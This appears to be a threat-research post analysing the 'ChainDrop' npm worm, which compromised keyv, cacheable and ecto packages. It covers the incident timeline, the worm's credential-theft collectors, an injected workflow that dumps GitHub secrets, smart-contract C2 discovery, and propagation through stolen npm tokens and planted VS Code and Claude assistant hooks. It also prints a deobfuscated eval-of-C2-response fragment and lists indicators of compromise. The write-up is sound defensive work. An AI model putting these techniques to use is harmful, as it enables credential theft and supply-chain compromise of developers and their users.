---
title: "'ChainDrop' worm compromises hundreds of popular npm packages"
description: "On August 4, 2026, several popular npm packages, including 'keyv', were compromised to deliver malware."
author: "Christophe Tafani-Dereeper, Nick Frichette, Sebastian Obregoso, Martin McCloskey"
date: 2026-08-04
category: "emerging threats and vulnerabilities"
tags: ["software supply-chain security", "open source", "threat research"]
url: "https://securitylabs.datadoghq.com/articles/npm-worm-compromises-popular-npm-packages/"
---

---

## Key points and observations

* On August 4, 2026, a threat actor compromised hundreds of npm packages and used them to propagate a backdoor.
* Some of these npm packages have over 150 million weekly downloads.
* The injected payload can spread on its own, similar to the [Shai-Hulud npm worm](https://securitylabs.datadoghq.com/articles/shai-hulud-2.0-npm-worm.md).
* To check whether you're affected, jump to [How to know if you're affected](#how-to-know-if-youre-affected).
* This worm was nicknamed 'ChainDrop' by the community.

## What happened

On August 4, 2026, we identified a malicious commit ([174f6a5](https://github.com/jaredwray/keyv/commit/174f6a55690b0812a69adef47260ba8714a9be48)) in the GitHub repository of the popular `keyv` npm package.

![The malicious commit 174f6a5 has since been deleted on GitHub (click to enlarge)](https://securitylabs.dd-static.net/img/npm-worm-compromises-popular-npm-packages/commit.png?auto=format)
*The malicious commit 174f6a5 has since been deleted on GitHub (click to enlarge)*

A few minutes later, the same user pushed similar commits to other projects, including `jaredwray/cacheable` and `jaredwray/ecto`.

![Another malicious commit in the `jaredwray/ecto` repository (click to enlarge)](https://securitylabs.dd-static.net/img/npm-worm-compromises-popular-npm-packages/commit2.png?auto=format)
*Another malicious commit in the `jaredwray/ecto` repository (click to enlarge)*

## Timeline
| Time | Event |
| :---- | :---- |
| August 4, 09:02:37 UTC | Unsigned commit [`29c773…`](https://api.github.com/repos/lizy168/keyv/commits/29c773c5b93da03db3c4a1f43e67afc9380ac5d0), adds **setup.mjs, Math_Symbol.js**, the malicious `preinstall`, package inclusion, an executing test, and release configuration. This is the earliest recovered malicious state. |
| 09:03:24–09:03:44 UTC | The account creates `release/v6.0.0-latest-config` and opens Keyv pull request #2042. This is the first captured incident-period public event. |
| 09:04:27–09:04:31 UTC | Five GitHub-signed `github-actions[bot]` commits add identical Claude and Visual Studio Code execution hooks and payload blobs to `v5`, `v4`, the release lineage, `main`, and an existing Claude-named branch.  |
| 09:08:18 UTC | A comment from the account warns that automated commits added unexpected `.claude` and `.vscode` hooks and downloader code: “Do not merge or publish until the repository and credentials are investigated.”  |
| 09:12:13 UTC | The release branch is reset non-fast-forward from `2fd79f…` to `29c773…`. The reset removes the visible repository hooks but retains the npm loader, second stage, `preinstall`, and executing test already present in `29c773…`. |
| 09:13:25–09:13:27 UTC | Signed bot commit [`5da403…`](https://api.github.com/repos/lizy168/keyv/commits/5da403c578fbc9e691a9fc02de098d2ce383f37d) restores the exact hook blobs. Pull request #2043 then closes with the comment “Closing: merging directly to main.” |
| 09:14:58–09:18:28 UTC | GH Archive records a bot push to `main`. Unsigned commit [`ee2681…`](https://api.github.com/repos/lizy168/keyv/commits/ee2681a9b62f3637b0eb5133c36c864d3376cc5b) then replays the 27-file `29c773…` package delta directly onto hook-bearing `main`, which moves to that commit without a recorded pull request merge. |
| 09:23:50–09:24:37 UTC | Commit [`f97eabc…`](https://api.github.com/repos/lizy168/keyv/commits/f97eabcdd057105f1fce3f05d6c029dac3f2ac78) deletes only the 22-line test that directly invokes the loader, while retaining `preinstall`, both payloads, and the repository hooks. `main` moves to `f97eabc…`. |
| 09:29:50–09:35:01 UTC | Genuine SLSA provenance for `keyv@6.0.0` enters Rekor, binding tag `v6.0.0` and `f97eabc…` to `.github/workflows/release.yaml` and Actions run `30896232272`. The confirmed malicious package publishes at `09:35:00.763`.  |
| 09:53:17–09:54:12 UTC | Signed bot bursts continue on `v4`, `v5`, and `main`. The Keyv `v6.0.0` GitHub Release object is created at 09:54:12, after the npm publication. It remains unpublished until 11:28:45. |
| 10:06:08–10:07:17 UTC | Unsigned Cacheable commit [`893f73f…`](https://api.github.com/repos/amit13k/cacheable/commits/893f73f5082d08eedc777329de3e90a6b7ab365f) reuses the exact Keyv payload blobs across ten workspaces. It is pushed to `main`, and GitHub release `setup-files-v1` publishes with a body explicitly describing the two payload files and `preinstall`. |
| 10:09:44–10:14:41 UTC | Nine confirmed malicious Cacheable-family versions publish from `893f73f…` through Actions run `30899303541`: `@cacheable/net@2.1.1`, `@cacheable/node-cache@3.1.2`, `cacheable@2.5.1`, `flat-cache@6.1.24`, `cacheable-request@13.0.20`, `@cacheable/memory@2.2.1`, `file-entry-cache@11.1.6`, `@cacheable/utils@2.5.1`, and `cache-manager@7.2.10`. |
| 10:25:47–10:28:02 UTC | Unsigned Ecto commit [`983ce1a…`](https://api.github.com/repos/gmh5225/ecto/commits/983ce1a2642bfd05313a9e31fa87122469c3a4fb) adds the same Keyv payload blobs and `preinstall`, is pushed to `main`, and becomes release `v5.0.1`. Confirmed malicious `ecto@5.0.1` publishes at `10:28:01.451` from Actions run `30900695639`. |
| 11:28:36–11:28:45 UTC | The Keyv `v6.0.0` tag is deleted for the fourth observed time, then the GitHub release created at 09:54 publishes almost two hours after the npm artifact. A GitHub ReleaseEvent is therefore not a reliable npm publication marker in this incident. |
| 11:30:02–11:47:55 UTC | Independent GH Archive events record further signed `github-actions[bot]` pushes on `v5`, `v4`, and the old Claude-named branch.  |

## Analysis of the Payload

The following chain applies when a compromised package invokes the loader through a life cycle script and the package manager permits dependency life cycle scripts:

| Phase | Behavior | Result |
| :---- | :---- | :---- |
| Initial execution | npm invokes `node setup.mjs` through `preinstall` | The loader runs during installation without an application importing the package |
| Runtime staging | The loader accepts an installed `bun` or downloads Bun v1.3.13 | The second stage runs under Bun rather than the npm-spawned Node.js process |
| Backgrounding | Outside recognized CI, the second stage respawns itself detached | Collection can continue after the parent installation process ends |
| Collection | Files, environment variables, runner memory, and cloud secret stores are queried | GitHub, npm, cloud, CI, and application credentials may be exposed |
| Exfiltration and C2 | Contract-selected HTTPS endpoint, with a signed GitHub fallback for domain discovery; public-repository fallback for exfiltration | Encrypted results leave the host; a primary C2 response can deliver more code |
| Propagation | Valid npm or GitHub credentials are used conditionally | Additional packages or repository branches receive the payload |

### The first-stage Bun loader

The 11 KB `setup.mjs` file is lightly obfuscated and has one job: start the second stage under Bun. It first invokes `bun --version`. Any executable named `bun` that exits successfully is accepted; the loader does not require version 1.3.13 when Bun is already installed.

If Bun is absent, the loader maps the host to one of the following release assets:

- Linux AArch64  
- Linux x86-64 with glibc  
- Linux x86-64 with musl  
- macOS AArch64 or x86-64  
- Windows AArch64 or x86-64

The `musl` check is narrow. It examines `ldd --version` output and looks for the case-sensitive string `Alpine` in `/etc/os-release`; there is no musl-specific AArch64 target. It then constructs an official Bun release URL under:

```
https://github.com/oven-sh/bun/releases/download/bun-v1.3.13/<asset>.zip
```

The downloader uses a `node` User-Agent, permits up to five HTTP 301, 302, 307, or 308 redirects, and applies a 121-second timeout to each request. It places the archive in a temporary directory whose name begins with `bun-dl-`. There is no response-body size limit and no origin restriction after a redirect.

Extraction prefers the system `unzip` utility on every operating system. If `unzip` is unavailable on Windows, it tries PowerShell `Expand-Archive`; the final fallback is a built-in parser for stored or deflated ZIP entries. If an available external extractor fails, the code does not fall back to the internal parser. On non-Windows systems the extracted runtime is made executable with mode `0755`.

Finally, the loader synchronously starts Bun with the second-stage path and inherits the current working directory, environment, and standard streams. A `finally` block removes the temporary directory. If Bun was already installed, the download, extraction, and temporary-directory behavior do not occur.

The loader obtains an official Bun release asset but does not cryptographically verify it. GitHub can also redirect release downloads to other hosts, so `github.com` is not necessarily the only network destination. Running the payload under Bun may evade monitoring limited to Node.js runtime internals, but host-level endpoint detection can still observe the process tree, files, and network activity.

### Inside the second stage

The second stage begins with `// @bun @bun-cjs` and is packed into two physical lines. Its obfuscation combines a 4,613-entry Base91 string table, a 1,283-element constant array, per-call alphabet permutations, name shadowing, split strings, and flattened generator state machines. We counted 73 Base91 alphabet literals, all of them unique permutations.

#### Backgrounding and execution guards

Outside environments recognized as CI, the payload respawns its current executable with the same arguments using `detached: true`, ignores its standard streams, adds `_NODE_RUNTIME_INIT=1` to prevent recursion, calls `unref()`, and exits the parent. It creates a single-instance lock named `tmp.dpkg_14527.lock` under the operating system's temporary directory. It also installs no-op handlers for `SIGINT` and `SIGTERM`.

The source includes `Exiting as russian language detected!`, but the obfuscated dispatcher resolves the corresponding condition to a function that always returns `false`. There is no reachable locale inspection on that branch. The string may be inherited from another build or left as misdirection; it is not an active geofence here.

### Credential collection

The implementation has three fast collectors, five deeper collectors, and one conditional GitHub Actions collector. `domain` is an exfiltration sender, while npm token handling belongs to the propagation path.

| Source | Data acquired | Important conditions and limitations |
| :---- | :---- | :---- |
| File system | Full contents of selected files, with GitHub and npm token matches identified | 5 MiB limit per file, two concurrent readers, no aggregate cap |
| Shell and environment | Entire `process.env` plus `gh auth token` output | Requires GitHub command-line interface (CLI) authentication for the command to yield a token |
| GitHub Actions runner | Secret names and values recovered from `Runner.Worker` memory | Linux only, `GITHUB_ACTIONS=true`, and successful `sudo` access to `/proc/<pid>/mem` |
| AWS Security Token Service (STS) | Account, Amazon Resource Name (ARN), user ID, source, and whether credentials appear static | Resolves credentials first; STS collector itself reports identity metadata rather than the secret key values |
| AWS Secrets Manager | Secret strings or binary secret values | Uses credentials with sufficient permissions across 17 configured commercial regions |
| AWS Systems Manager Parameter Store | Parameter names and decrypted values | `DescribeParameters` pages of 50; `GetParameters` batches of 10 with `WithDecryption:true` |
| Kubernetes | Namespaces and Base64-decoded Secret data | In-cluster API host is required; five namespaces are skipped; kubeconfig API server parsing is incomplete |
| HashiCorp Vault | Key-value (KV) v1 or v2 values | First 100 top-level keys per mount; nested keys ending in `/` are skipped |
| GitHub Actions workflow abuse | Values exposed through `${{ toJSON(secrets) }}` | Requires a valid token with `workflow` scope and a repository where the injected workflow can run |

#### File system and runner collection

The file system configuration contains 290 Linux patterns, 129 macOS patterns, and 50 Windows patterns. Targets include environment files, shell histories, SSH material, Git, npm, PyPI, cloud, Kubernetes, Docker, Vault, Terraform, CI, and AI assistant credentials, along with cryptocurrency wallets, VPN configurations, `/etc/shadow`, and `/proc/self/environ`. Each matching file is read in full up to 5 MiB. The scanner does not enforce an overall count or byte limit.

On a Linux GitHub Actions runner, the payload pipes an embedded Python program into `sudo python3`. That program locates the `Runner.Worker` process, reads each readable mapping through `/proc/<pid>/mem`, and emits the bytes. A shell pipeline removes null bytes and extracts serialized records with an `isSecret: true` flag. The parser explicitly drops the `github_token` entry but retains other discovered names and values.

#### Cloud secret stores

AWS credential resolution tries environment variables, web identity, Amazon Elastic Container Service (Amazon ECS) metadata, Amazon Elastic Compute Cloud (Amazon EC2) Instance Metadata Service Version 2 (IMDSv2), and shared credential and configuration profiles. The code does not fall back to IMDSv1. Secrets Manager and Systems Manager iterate 17 hardcoded commercial regions rather than every AWS region.

The Kubernetes collector queries the in-cluster API, lists non-system namespaces, retrieves Secret objects, and Base64-decodes their `data` fields. It can extract a bearer token from kubeconfig, but does not parse the kubeconfig API server; it still depends on the in-cluster host environment variable. The Vault collector checks environment and local token files and includes Kubernetes and AWS authentication helpers. Its nominal AWS login sends only a role, which is insufficient for a normal AWS Identity and Access Management (IAM) login flow, so that branch is unlikely to succeed as written.

These imperfections are operationally relevant but do not diminish the breadth of the working paths. When the process runs with cloud or cluster privileges, the collectors attempt to convert those privileges into plaintext secret values rather than merely inventorying secret names.

#### How GitHub secret names become values

GitHub's representational state transfer (REST) endpoints for repository and organization Actions secrets return names and metadata, not secret values. The malware follows that model: it maps the REST responses to each secret's `name`. [GitHub documents that these APIs do not reveal encrypted values](https://docs.github.com/en/rest/actions/secrets?apiVersion=2022-11-28).

The next step is active workflow abuse. For a validated classic GitHub token whose scopes include `workflow`, the payload:

1. Enumerates up to 100 pushable repositories updated since September 1, 2025\.  
2. Selects repositories with visible repository or organization secret names.  
3. Creates `dependabot/github_actions/format/setup-formatter`.  
4. Commits `.github/workflows/codeql_analysis.yml`.  
5. Starts a workflow that assigns <!-- unresolved shortcode: raw -->`${{ toJSON(secrets) }}`<!-- unresolved shortcode: endraw --> to an environment variable, writes it to `format-results.txt`, and uploads that file as an artifact.  
6. Downloads and reads the artifact.  
7. Deletes the workflow run and branch.

The injected workflow can recover values made available to its job. Environment-scoped secrets that the job cannot access remain out of reach, and the cleanup may leave audit-log, workflow-run, and artifact records even after the temporary branch is gone.

### C2 discovery and encrypted exfiltration

The primary sender does not contain a fixed destination domain. Instead, it iterates a list of 73 Ethereum remote procedure call (RPC) endpoints and makes an `eth_call` to:

```
Contract: 0xE1f2395ee43e45A1556EC6438a88c31B83493103
Selector: 0x53ed5143
Block:    latest
```

The response parser decodes an application binary interface (ABI)-encoded dynamic array of strings. This establishes the smart-contract dead drop directly; it is not an inference from a log string. Each RPC attempt has a 3-second timeout. The malware resolves each returned domain and performs an HTTPS GET to port 443 on `/router`. Only status 400 or 404 is considered healthy. It uses the first healthy domain for exfiltration. The RPC hosts are mostly legitimate public infrastructure. 

If the contract path fails, the malware searches GitHub commits for `thebeautifulmarchoftime` , including the trailing space. Its parser then accepts a deliberately different marker, `thebeautifulsnadsoftime`, followed by a Base64-encoded domain and RSA signature using SHA-256. The signature is checked with a second embedded 4,096-bit public key before the domain is used.

Before transmission, the payload serializes results as JSON and compresses them with gzip. It generates a random 32-byte AES key and 12-byte initialization vector, encrypts the data with AES-256-GCM, and appends the 16-byte authentication tag. It wraps the AES key with RSA Optimal Asymmetric Encryption Padding (RSA-OAEP) using SHA-256 and an embedded 4,096-bit public key. The posted object contains the Base64-encoded encrypted envelope, the wrapped key, and a 32-character host fingerprint derived from host, user, CPU, memory, platform, architecture, home directory, and media access control (MAC) address data.

`generateKeyPairSync()` creates an ephemeral P-256 key for the Sigstore path; it is not part of the RSA envelope. The exfiltration public key is embedded, and the AES key flows directly into `publicEncrypt()` with RSA-OAEP and SHA-256.

#### C2 responses create a code-execution channel

After the primary sender receives HTTP 200, it parses the body as JSON and handles it as follows in deobfuscated form:

```javascript
const responseBody = JSON.parse(await response.text());
if (responseBody.code) {
  await eval(responseBody.code);
}
```

The response body is not signed, and the code is not sandboxed. Transport Layer Security (TLS) authenticates whichever contract-selected domain the process contacts, but it does not constrain what that domain returns. Anyone controlling a selected domain and its valid HTTPS endpoint can execute arbitrary JavaScript inside the Bun process.

The fixed code focuses on credential theft and propagation, but this response handling also makes the implant a general code-execution channel. The absence of a hardcoded wiper does not prevent the operator from deleting files, installing another implant, using collected credentials, or taking destructive cloud actions.

### GitHub as the exfiltration fallback

When no primary domain sender is available, the payload looks for classic GitHub personal access or OAuth tokens beginning with `ghp_` or `gho_`. It validates a token through `/user`, inspects the `x-oauth-scopes` response header, and requires a token capable of creating a public repository. It also checks that the user profile is publicly reachable.

The fallback creates a public repository with a randomized Dune-themed name and the description: Shai-Hulud: Here We Go Again

![GitHub repository created by the malware for exfiltration (click to enlarge)](https://securitylabs.dd-static.net/img/npm-worm-compromises-popular-npm-packages/readme.png?auto=format)
*GitHub repository created by the malware for exfiltration (click to enlarge)*

It writes Base64-encoded result files below `results/` with names beginning `results-<timestamp>-<counter>.json`. Objects larger than 30 MiB are split into `.p1`, `.p2`, and subsequent parts. Uploads use the GitHub REST Contents API and retry HTTP 422 and server errors up to five times. The GraphQL commit functions elsewhere in the file are not used by this exfiltration path.

If the compromised user belongs to no GitHub organizations, the payload includes the GitHub token in the result object and commit message after applying Base64 twice. The exact relay marker is: IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients

The payload can search public commits for that marker, decode the token, and reuse it if it retains `repo` or `public_repo` scope. A public exfiltration repository can therefore double as a token relay.

### Two propagation systems and one provenance path

The file contains several independent subsystems with different credentials, targets, and publication semantics.

#### Propagation with stolen npm tokens

For each collected token matching npm's granular-token format, the payload queries npm's token API and requires a matching record with `bypass_2fa: true` and package-write permission. Organization package enumeration also requires organization-write access. It then identifies writable packages, downloads the current latest tarball, and modifies it as follows:

1. Copies the running second stage to `package/math_init.js`.  
2. Writes the embedded 11 KB loader to `package/setup.mjs`.  
3. Replaces the entire `scripts` object with `{"preinstall":"node setup.mjs"}`.  
4. Increments the patch version.  
5. Repacks and publishes directly with the stolen token.

Generic npm propagation runs on Linux and macOS. Replacing the complete scripts object can break legitimate build, test, or release behavior in the victim package. The registry publish request also sets `rejectUnauthorized: false`, disabling server-certificate verification for that operation.

Generic npm-token propagation does not generate provenance. It uses the stolen registry credential and a direct publish request.

#### Propagation across GitHub branches

A separate path uses GitHub credentials in an Actions environment to fetch up to 50 branches, excluding Dependabot- and Copilot-prefixed refs, and writes five files to each eligible branch:

```
.vscode/tasks.json
.claude/math_init.js
.claude/settings.json
.claude/setup.mjs
.vscode/setup.mjs
```

The Visual Studio Code (VS Code) task runs `node .claude/setup.mjs` when a folder opens. The Claude settings install a SessionStart hook that runs `node .vscode/setup.mjs`. These files can retrigger the loader when a developer opens the repository or starts a Claude session.

#### Provenance can authenticate malicious content

The provenance implementation is real but narrowly gated. It runs only when `GITHUB_REPOSITORY` contains `/opensearch-js` and `GITHUB_WORKFLOW_REF` contains `release-drafter.yml`. It targets `@opensearch-project/opensearch`, increments the patch version, and adds this optional dependency:

```
@opensearch/setup = github:opensearch-project/opensearch-js#d446803f4c3bc116263faa3499a1d3f95b2825de
```

That path attempts to construct an in-toto statement with Supply-chain Levels for Software Artifacts (SLSA) provenance for the modified tarball, request a GitHub OpenID Connect (OIDC) token for Sigstore, generate an ephemeral P-256 key, obtain a Fulcio certificate, submit the signed envelope to Rekor, attach a Sigstore bundle, request an npm-audience OIDC token, exchange it for a short-lived npm publishing token, and publish. Static analysis establishes the request sequence, not that the external services accepted a particular run. If provenance generation fails, the code still attempts a publish without the bundle.

[npm provenance establishes where and how a package was built](https://docs.npmjs.com/generating-provenance-statements/). In a compromised workflow, a valid attestation can faithfully bind a malicious source and an attacker-controlled build to the resulting package. It is neither forged nor a safety verdict. Provenance is valuable evidence, but consumers must still inspect the referenced source, workflow, and artifact.

## How to know if you're affected

The situation is evolving quickly. Below, we maintain a dynamic list of npm packages that this campaign compromised and used to distribute the malicious payload. You can also access a CSV version on our [GitHub repository](https://github.com/DataDog/indicators-of-compromise/blob/keyv-campaign/keyv-campaign/malicious-packages.csv).

<details class="accordion">
  <summary>Show the list of compromised npm packages</summary>
  
  _Dynamic table (data source: https://raw.githubusercontent.com/DataDog/indicators-of-compromise/keyv-campaign/keyv-campaign/malicious-packages.csv)_
</details>

## How Datadog can help

[Datadog Code Security](https://docs.datadoghq.com/security/code_security/) can identify hosts, containers, and build environments where the compromised version was installed. Refer to the [in-app Security Research Feed card](https://app.datadoghq.com/security/feed?exposure=all&product=all&sp=%5B%7B%22p%22%3A%7B%22securityCardId%22%3A%22266%22%7D%2C%22i%22%3A%22security-news-panel%22%7D%5D&type=all) for more information.

Datadog also maintains the [open source supply-chain security firewall (SCFW)](https://github.com/DataDog/supply-chain-firewall/tree/main/scfw), which can proactively block known malicious packages at installation time. It can also log every single npm and PyPI package installed on a developer's workstation and ship it to your Datadog organization, allowing you to react when new malicious or compromised packages are discovered.

## Indicators of Compromise

### Files and embedded artifacts

| Artifact | SHA-256 |
| :---- | :---- |
| Stage-two payload, **math_init.js** or **Math_Symbol.js** | `9fc2570b7cef51c1b8df116d144d11ff4096357be7d2c4c6367cfc2509cf1bcc` |
| Embedded and propagated loader, **setup.mjs** | `fd3ca4007b225fdf8de7af4345a19179d5efa8c4bb9205f88cda806e5684b1eb` |
| **.vscode/tasks.json** | `927387d0cfac1118df4b383decc2ea6ba49c9d2f98b47098bcbcba1efc026e1f` |
| **.claude/settings.json** | `14eb4ce01dd4307759887ff819359b70d7d9ff709ecde039a5abc1aac325b128` |
| Injected GitHub workflow | `3f3f42d072bd36860ab7bd7fb5e10ac0d22c741c13c89505ccd6ec0ea572eea7` |
| Runner-memory Python | `29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7` |
| Token-monitor installer | `619c56acf572df75b6004a6fc013c80900316a76099b241d64312da3a44f10b4` |

The SHA-256 fingerprint of the exfiltration RSA public key in Distinguished Encoding Rules (DER) form is `dc1e6a7ddb29390dd53cf1e5aac40ad9204ea7c6b83ef5656e7cb7a796808b67`. The fallback-domain verification key fingerprint is `166be2b7b58a440f7b17520ffb0368be5d89c76661704b4945417eb04b9ada65`.

### Network and behavior

| Indicator | Context |
| :---- | :---- |
| `0xE1f2395ee43e45A1556EC6438a88c31B83493103` | Ethereum C2 dead-drop contract |
| `0x53ed5143` | `eth_call` selector used against the contract |
| `https://awqhnjewqjkl[.]icu:443/router` | C2 URL for exfiltration |
| `https://pypi-get[.]com:443/router` | C2 URL for exfiltration |
| `https://js-mirror[.]com:443/router` | C2 URL for exfiltration |
| `https://npm-cache[.]com:443/router` | C2 URL for exfiltration |
| `thebeautifulmarchoftime`  | GitHub commit-search query; trailing space is significant |
| `thebeautifulsnadsoftime` | Marker parsed from signed fallback commit messages |
| `IfYouBlockThisAPIKeyItWillCrashTheLiveProductionServersOfAllThirdPartyClients` | GitHub token-relay marker |
| `Shai-Hulud: Here We Go Again` | Public GitHub exfiltration-repository description |
| `tmp.dpkg_14527.lock` under the temporary directory | Single-instance lock |
| `_NODE_RUNTIME_INIT=1` | Detached-child recursion guard |

### Dormant token-monitor paths

```
~/.local/bin/gh-token-monitor.sh
~/.config/gh-token-monitor/token
~/.config/gh-token-monitor/handler
~/.config/gh-token-monitor/started_at
~/Library/LaunchAgents/com.user.gh-token-monitor.plist
~/.config/systemd/user/gh-token-monitor.service
/tmp/gh-token-monitor.out.log
/tmp/gh-token-monitor.err.log
```

## Acknowledgements

Thank you to Ian Kretz, Tesnim Hamdouni, and Eslam Salem, who contributed to the making of this post.

## Updates made to this entry

- **2026-08-04**: Added an analysis of the payload
- **2026-08-05**: Added a new C2 domain 'awqhnjewqjkl[.]icu' recently added to the smart contract
